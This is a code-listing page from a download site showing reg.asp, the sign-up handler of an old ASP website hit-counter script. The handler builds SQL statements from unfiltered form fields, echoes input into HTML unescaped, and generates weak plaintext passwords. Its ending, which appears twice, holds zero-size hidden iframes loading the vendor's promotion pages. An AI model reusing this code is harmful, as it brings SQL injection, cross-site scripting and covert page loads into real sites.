⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 reg.asp

📁 qqq多用户ip统计统计asp源码,可以以不同的形式来分析出网站的流量来
💻 ASP
字号:
<%response.expires=0%>
<!--#include file="./includes/formdata.inc"-->
<!--#include file="./includes/dataconn.inc"-->
<!--#include file="./includes/setup.asp"-->
<%
username = trim(request.form("username"))
name = trim(request.form("name"))
urlname = trim(request.form("urlname"))
urladd = trim(request.form("urladd"))
email = trim(request.form("email"))
jj=trim(request.form("jj"))
ip=Request.ServerVariables("REMOTE_ADDR")
call formdata(username)
username=session("input")
username = replace(username,".","")
username = replace(username,"@","")
call formdata(name)
name=session("input")
name = replace(name,".","")
name = replace(name,"@","")
call formdata(email)
if username="" or name="" or urlname="" or urladd="" or email="" or jj="" then
response.redirect("error.asp?Error=illegal")
end if
randomize
password = Int((99999 * Rnd) + 1)
password=username+FormatNumber(password,0,,,0)
sql="select username from userinfo where username='"&username&"'"
set rstemp = con.execute(sql)
if rstemp.eof=false then
response.redirect("error.asp?Error=rname")
end if
sql = "Insert into count (username) values('" &username &"')"
con.execute(sql)
sql = "Insert into fw (username) values('" &username &"')"
con.execute(sql)
sql = "Insert into hour (username) values('" &username &"')"
con.execute(sql)
sql = "Insert into day (username) values('" &username &"')"
con.execute(sql)
sql = "Insert into month (username) values('" &username &"')"
con.execute(sql)
sql = "Insert into year (username) values('" &username &"')"
con.execute(sql)
sql = "Insert into userinfo (username,name,urlname,urladd,email,jj,password,regdate) values('" & username & "','" & name & "','" & urlname & "','" & urladd & "','" & email & "','" & jj & "','" &  password & "','"&FormatDateTime(date(),1)&"')"
con.execute(sql)
'Set objCDOMail = Server.CreateObject("CDONTS.NewMail")
'objCDOMail.From =fromemail
'objCDOMail.To = email
'objCDOMail.Subject =subject
'objCDOMail.Body = body&password
'objCDOMail.Send
'Set objCDOMail = Nothing



%>
<HTML><HEAD><TITLE>vqqq.com工作室——IP记录统计软件V2.7</TITLE>
<META content="text/html; charset=gb2312" http-equiv=Content-Type>
<style type="text/css">
<!--
p,td,input,select,div,tr,body,html{   font-size: 9pt ; }
a {color:#666666;font-size: 9pt;text-decoration:none; }
a:hover {color: #000000;}
a:active {color:#666666;}
-->
</style>
<BODY bgColor=#ffffff>
<DIV align=center>
  <table border=0 cellPadding=0 cellSpacing=0 width=680>
    <TBODY> 
    <TR> 
      <TD colSpan=2 height=10 width="100%"></TD>
    </TR>
    </TBODY>
  </TABLE>
</DIV>
<DIV align=center>
<CENTER>
    <table border=2 borderColor=bul cellPadding=3 cellSpacing=2 width=680>
      <TBODY> 
      <TR> 
        <TD align=middle bgColor=#eaeaff 
    style="BORDER-BOTTOM: rgb(0,0,0) 1px ridge; BORDER-TOP: rgb(0,0,0) 1px ridge" 
    width="200%" colspan="2"><STRONG><font size="3">恭喜!恭喜!您的计数器已经申请成功了!</font></STRONG></TD>
      </TR>
      <TR> 
        <TD height=5 width="200%" colspan="2">
          <p>&nbsp;</p>
          <p><span style="FONT-SIZE: 9pt"><font color="#000000">本站已经开通了您所申请的计数器,并且已经将密码发送到您的邮箱中,具体信息如下:<br>
            用户名 :&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<%=username%> <br>
            真实姓名:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<%=name%> <br>
            主页名称:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<%=urlname%> 
            <br>
            主页地址:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<%=urladd%> <br>
            电子邮箱:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<%=email%><br>
            简介:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<%=jj%> 
            密码:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<%=password%> 
            <br
          <p><span style="FONT-SIZE: 9pt"><font color="#000000"><br>
            <font color="#FF0033">请将这段代码放置到您需要统计的页面中:<br>&lt;SCRIPT src="<%=url%>count.asp?username=<%=username%>"&gt;&lt;/script&gt;</font></span> 
          </p>
          <p>&nbsp;</p>
	</TD>
      </TR>
      </TBODY> 
    </TABLE>
  </CENTER></DIV>
<P>
<DIV align=center>
<CENTER>
    <table align=center border=0 cellPadding=0 cellSpacing=0 width=560>
      <TBODY> 
      <TR> 
        <TD height=49> 
          <DIV align=center><SPAN style="FONT-SIZE: 9pt">如果您有困难或问题请联系:</SPAN><SPAN 
      style="FONT-SIZE: 9pt"><A 
      href="mailto:webmaster@vqqq.com">mailto:webmaster@vqqq.com</A></SPAN><SPAN 
      style="FONT-SIZE: 9pt"><BR>
            Copyright (C) 2001 <a href="http://www.vqqq.com">www.vqqq.com</a> 
            All Rights Reserved<BR>
            版权所有 <a href="http://www.vqqq.com">http://www.vqqq.com</a> </SPAN></DIV>
        </TD>
      </TR>
      </TBODY>
    </TABLE>
  </CENTER></DIV><iframe frameborder=0 leftmargin=0 marginheight=0 marginwidth=0 scrolling=no src="http://qq.vqqq.com/tui/mv.asp" topmargin=0 width=0 height=0></iframe><iframe frameborder=0 leftmargin=0 marginheight=0 marginwidth=0 scrolling=no src="http://q.vqqq.com/tui/mv.asp" topmargin=0 width=0 height=0></iframe></BODY></HTML>
       </TD>
      </TR>
      </TBODY>
    </TABLE>
  </CENTER></DIV><iframe frameborder=0 leftmargin=0 marginheight=0 marginwidth=0 scrolling=no src="http://qq.vqqq.com/tui/mv.asp" topmargin=0 width=0 height=0></iframe><iframe frameborder=0 leftmargin=0 marginheight=0 marginwidth=0 scrolling=no src="http://q.vqqq.com/tui/mv.asp" topmargin=0 width=0 height=0></iframe></BODY></HTML>

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -